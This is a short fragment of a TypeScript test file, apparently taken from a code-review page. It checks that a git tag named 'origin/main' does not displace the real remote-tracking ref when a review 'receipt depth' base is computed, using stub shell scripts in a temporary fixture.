const head = fx.sh(fx.work, 'git rev-parse HEAD');
|
||||
expect(fx.scope([arg, '--head', head]).out).toBe(before.out);
|
||||
}, 60_000);
|
||||
}
|
||||
|
||||
// Value: protects=the receipt's depth and the queue's recomputation diff against refs/remotes/origin/<base>, never a tag named origin/main;
|
||||
// fails_when=receiptDepthAtHead or receiptDepthVerdict rev-parse the short name origin/<base>; seam=lib/ship-receipt-depth.ts
|
||||
test('a tag named origin/main does not move the receipt depth base', () => {
|
||||
const fx = staleFixture();
|
||||
const origin = fx.sh(fx.work, 'git rev-parse refs/remotes/origin/main');
|
||||
const head = fx.sh(fx.work, 'git rev-parse HEAD');
|
||||
fx.sh(fx.work, "git tag 'origin/main' HEAD && git tag main HEAD");
|
||||
const stub = path.join(fx.root, 'stub-bin');
|
||||
fs.mkdirSync(stub);
|
||||
fs.writeFileSync(path.join(stub, 'gstack-diff-scope'), '#!/bin/sh\nexit 0\n', { mode: 0o755 });
|
||||
fs.writeFileSync(path.join(stub, 'gstack-gate-diff'), '#!/bin/sh\nexit 1\n', { mode: 0o755 });
|
||||
expect(receiptDepthAtHead(fx.work, 'main', stub, head).base).toBe(origin);
|
||||
const verdict = receiptDepthVerdict(fx.work, 'origin/main', { gstack_version: '1.0.0', review_depth: { depth: 'full', gate_scan: { tagged: 0, head } } } as any, head);
|
||||
expect(verdict.line).toContain(`inputs=base@${origin.slice(0, 12)}`);
|
||||
expect(verdict.line).toContain('class=code');
|
||||
}, 60_000);
|
||||
});
|
||||
Reference in new issue
Block a user